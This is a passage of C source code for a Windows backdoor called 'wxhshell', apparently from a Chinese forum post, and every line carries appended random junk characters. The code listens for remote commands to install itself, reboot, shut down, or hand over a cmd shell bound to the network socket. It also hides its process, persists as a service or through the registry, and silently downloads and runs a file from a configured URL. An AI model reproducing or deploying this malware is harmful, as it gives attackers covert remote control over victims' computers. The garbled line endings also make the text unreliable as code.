      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uv>T8(w  
    break; Vm+e%  
  } vQK*:IRKK  
  // 安装 +eT1/x0  
  case 'i': { V) Oj6nD]  
    if(Install()) OZ,%T9vP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !LDuCz -  
    else tw{V7r~n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WJ D1U?`  
    break; \r4QS  
    } "lU%Pm]>  
  // 卸载 9'tOF  
  case 'r': { ur*@TIvD  
    if(Uninstall()) (`nn\)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 35>VCjCw0  
    else B{`4"uEb$G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ea7l:(C  
    break; <S/`-/= 2  
    } Dl/Jlsd@  
  // 显示 wxhshell 所在路径 7=V s1TVc  
  case 'p': { ;}/@ar7s3  
    char svExeFile[MAX_PATH]; "j(?fVx  
    strcpy(svExeFile,"\n\r"); r0 mXRZC  
      strcat(svExeFile,ExeFile); <]9%Pm#X  
        send(wsh,svExeFile,strlen(svExeFile),0); =~7%R.U([e  
    break; Jng,:$sZ  
    } srX" vF  
  // 重启 q>JW$8  
  case 'b': { U2~7qC,!Do  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '8O(J7J  
    if(Boot(REBOOT)) yDk|ad|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gA`x-`  
    else { N^u,C$zP9C  
    closesocket(wsh); IYb%f T  
    ExitThread(0); <|,0%bq)|  
    } 8 oK;Tzh  
    break; +vR$%  
    } aVI%FycYo  
  // 关机 `/+%mKlC|[  
  case 'd': { 2`|1 !x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }\p>h  
    if(Boot(SHUTDOWN)) ">?ocJ\9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?z "fp$  
    else { +1`Zu$|  
    closesocket(wsh); qJ\tc\  
    ExitThread(0); ~KtA0BtC  
    } Y6J7N^  
    break; N|G=n9p  
    } ^Md]e<WAp  
  // 获取shell k{fTq KS%h  
  case 's': { qT U(]O1  
    CmdShell(wsh); M@LI(;  
    closesocket(wsh); !kzC1U  
    ExitThread(0); 86.LkwlqoH  
    break; )@%wj;>a  
  } OIT9.c0h  
  // 退出 W6=j^nv  
  case 'x': { fevL u[,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a-P 'h1hbH  
    CloseIt(wsh); /~k)#44  
    break; >O7ITy  
    } Yn0l}=, n  
  // 离开 bC[TLsh7{2  
  case 'q': { %j '_I\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vkQ81PEt  
    closesocket(wsh); $-Ud&sjn  
    WSACleanup(); LdSBNg#3  
    exit(1); ^\Bm5QkS  
    break; ]}K\&ho2  
        } N S^(5g  
  } caK<;bmu-  
  } QH_0U`3  
o_!=-AWV  
  // 提示信息 m -{t%[Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '/Y D$*,  
} j_r?4k  
  } _;8aiZt|u  
"X\|!Mxh  
  return; f^ q0#+k)  
} $6&P 69<  
@@!Mt~\  
// shell模块句柄 H<^*V8J 'w  
int CmdShell(SOCKET sock) 41pk )8~pt  
{ l~f>ve|  
STARTUPINFO si; BE&P/~(C  
ZeroMemory(&si,sizeof(si)); u!&w"t61Nd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [# X:!xcl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,&wTUS\  
PROCESS_INFORMATION ProcessInfo; H(eGqVAq,  
char cmdline[]="cmd"; M7$ h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mn<G9KR  
  return 0; y;0k |C   
} 'Gn-8r+  
.d\<}\zZ7J  
// 自身启动模式 GrwoV~  
int StartFromService(void) ul{u^ j  
{ 6]GEn=t  
typedef struct [G(}`u8w"  
{ _`Ojh0@00  
  DWORD ExitStatus; mLa0BIP  
  DWORD PebBaseAddress; &e#>%0aS  
  DWORD AffinityMask; <NIg`B@'s  
  DWORD BasePriority; / 7EeM{,~  
  ULONG UniqueProcessId; o6H\JCne  
  ULONG InheritedFromUniqueProcessId; c5>'1L  
}   PROCESS_BASIC_INFORMATION; ]6W;~w%  
F vJJpPS  
PROCNTQSIP NtQueryInformationProcess; $!+t2P@d.5  
Fv[. %tW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qDOJ;> I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2u0dn?9\  
C'iJFf gR  
  HANDLE             hProcess; IaxzkX_48  
  PROCESS_BASIC_INFORMATION pbi; .EOHkhn  
XHKVs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *O`76+iZ|_  
  if(NULL == hInst ) return 0; ?;\xeFy!  
oD5VE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); os\"(*dix  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c0lVt)pr/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c|f)k:Q  
^bVY&iXNu  
  if (!NtQueryInformationProcess) return 0; _}_lrg}U  
 R~jV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .Yl*kG6r  
  if(!hProcess) return 0; a59l"b  
lX)RG*FlTC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c)N&}hFYC  
k'_p*H  
  CloseHandle(hProcess); ,n')3r   
FZ!KZ!p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i.4L;(cg  
if(hProcess==NULL) return 0; v> vU]6l  
Rp#9T?i``[  
HMODULE hMod; 5kwDmJy  
char procName[255]; 5W0'r'{  
unsigned long cbNeeded; qO5.NIs  
1' #%U A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rcc.FS  
!P Cw-&  
  CloseHandle(hProcess); =~Ac=j!q  
<lk_]+ XJ3  
if(strstr(procName,"services")) return 1; // 以服务启动 "@xF(fyg  
l:!4^>SC  
  return 0; // 注册表启动 bL=32YS  
} yPKDn.1  
vt;<+"eps  
// 主模块 0:W*_w0Ge  
int StartWxhshell(LPSTR lpCmdLine) dHU#Y,v  
{ yFt'<{z[nL  
  SOCKET wsl; ulnG|3A9  
BOOL val=TRUE; RI#C r+/  
  int port=0; 4|+6a6  
  struct sockaddr_in door; D`r^2(WW  
a8?Zb^  
  if(wscfg.ws_autoins) Install(); H}}]Gh.T  
X&^8[,"  
port=atoi(lpCmdLine); I,{9vew  
3r=IO#  
if(port<=0) port=wscfg.ws_port; cmQLkT"#K  
AT^?PD_  
  WSADATA data; (7nWv43  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "%+C@>`(  
`sZ/'R6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M ) 9Ss  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T-=sC=sS,  
  door.sin_family = AF_INET; -I1Ne^DZn4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Pnb?NVP!^9  
  door.sin_port = htons(port); Y(WX`\M97  
YoD1\a|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cad%:%p  
closesocket(wsl); NpRT\cx3  
return 1; /*Z ,i&eC  
} xbex6i"ZE  
u1y c  
  if(listen(wsl,2) == INVALID_SOCKET) { @].Ko[P~  
closesocket(wsl); ]R^?Pa1Te4  
return 1; W M/pP?||  
} I;`)1   
  Wxhshell(wsl);  ]A;zY%>  
  WSACleanup(); 4ze-N8<[  
=K#D^c~  
return 0; d+KLtvB%M  
^s25z=^t  
} 9:^SnHAa  
Pms"YhyZ7  
// 以NT服务方式启动 _20nOg`o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #vJDb |z  
{ [wAI;=.  
DWORD   status = 0; "}PaMR]  
  DWORD   specificError = 0xfffffff; D_,}lsrb  
6xSdA;<+]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `gq@LP"o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3_(fisvx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n!mtMPH$  
  serviceStatus.dwWin32ExitCode     = 0; [Q,E( s  
  serviceStatus.dwServiceSpecificExitCode = 0; uX@RdkC  
  serviceStatus.dwCheckPoint       = 0; h?2qX  
  serviceStatus.dwWaitHint       = 0; ^{8r(1,  
?6B n&qa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Oy$*ZG)  
  if (hServiceStatusHandle==0) return; %n`wU-?lK  
z65|NO6JW.  
status = GetLastError(); SP9_s7LL  
  if (status!=NO_ERROR) lz X0B&:  
{ f>nj9a5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _X{i hf  
    serviceStatus.dwCheckPoint       = 0; wm|{@z  
    serviceStatus.dwWaitHint       = 0; wmFI?   
    serviceStatus.dwWin32ExitCode     = status; #5)E4"m  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ch607 i=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); > TG:}H(J  
    return; HK>!%t0S  
  } t^. U<M  
c@)k#/[[b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^w4FqdGM  
  serviceStatus.dwCheckPoint       = 0; IbQ3*  
  serviceStatus.dwWaitHint       = 0; ~4o2!!^tI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q9)/INh  
} ,qJ/Jt$A  
l>)0OP]  
// 处理NT服务事件,比如:启动、停止 gq`gitu0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $Jo[&,  
{ q#Az\B:  
switch(fdwControl) j{EN %  
{ uWR\#D'  
case SERVICE_CONTROL_STOP: $trvNbco  
  serviceStatus.dwWin32ExitCode = 0; ]ERPWW;^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; > Zo_-,  
  serviceStatus.dwCheckPoint   = 0; -Cv:lJj  
  serviceStatus.dwWaitHint     = 0; zDY!0QZLF\  
  { cYyv iR59#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aS?A3h4WM_  
  } U<fe 'd  
  return; s"`uE$6N  
case SERVICE_CONTROL_PAUSE: 9vT@ mqKu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^2OBc  
  break; U/&!F  
case SERVICE_CONTROL_CONTINUE: >5)E\4r-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A!&p,KfT5+  
  break; 2MmqGB}YcW  
case SERVICE_CONTROL_INTERROGATE: &Cp)\`[y  
  break; "ZF:}y  
}; 5+dQGcE@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V*SKWP  
} +=hiLfnE  
Z8tQ#Pu{  
// 标准应用程序主函数 4AB7uw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )~;=0O |X  
{ Ua]shSjyI  
=@;uDu:Q  
// 获取操作系统版本 ]N}80*Rl  
OsIsNt=GetOsVer(); g@hg u   
GetModuleFileName(NULL,ExeFile,MAX_PATH); Az[Yvu'<  
!vHUe*1a{  
  // 从命令行安装 Q+gd|^Vc9  
  if(strpbrk(lpCmdLine,"iI")) Install(); fdGls`H  
]N!382  
  // 下载执行文件 *@|d7aiO  
if(wscfg.ws_downexe) { IQxY]0\uf6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %M^X>S\%  
  WinExec(wscfg.ws_filenam,SW_HIDE); {tMpI\>S  
} w+ gA3Dg  
Y s[JxP  
if(!OsIsNt) { 74ma   
// 如果时win9x,隐藏进程并且设置为注册表启动 ae( o:G  
HideProc(); H2`aw3  
StartWxhshell(lpCmdLine); xM}lX(V!w  
} vs;T}' O  
else (D F{l?4x-  
  if(StartFromService()) Fp..Sjh 6  
  // 以服务方式启动 q:@$$}FjL  
  StartServiceCtrlDispatcher(DispatchTable); %k @"*  
else j@$p(P$  
  // 普通方式启动 cx M=#Go  
  StartWxhshell(lpCmdLine); dQLR%i#P8  
XzGPBi  
return 0; 2V7x  
}
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只看该作者 1 发表于: 2006-10-10
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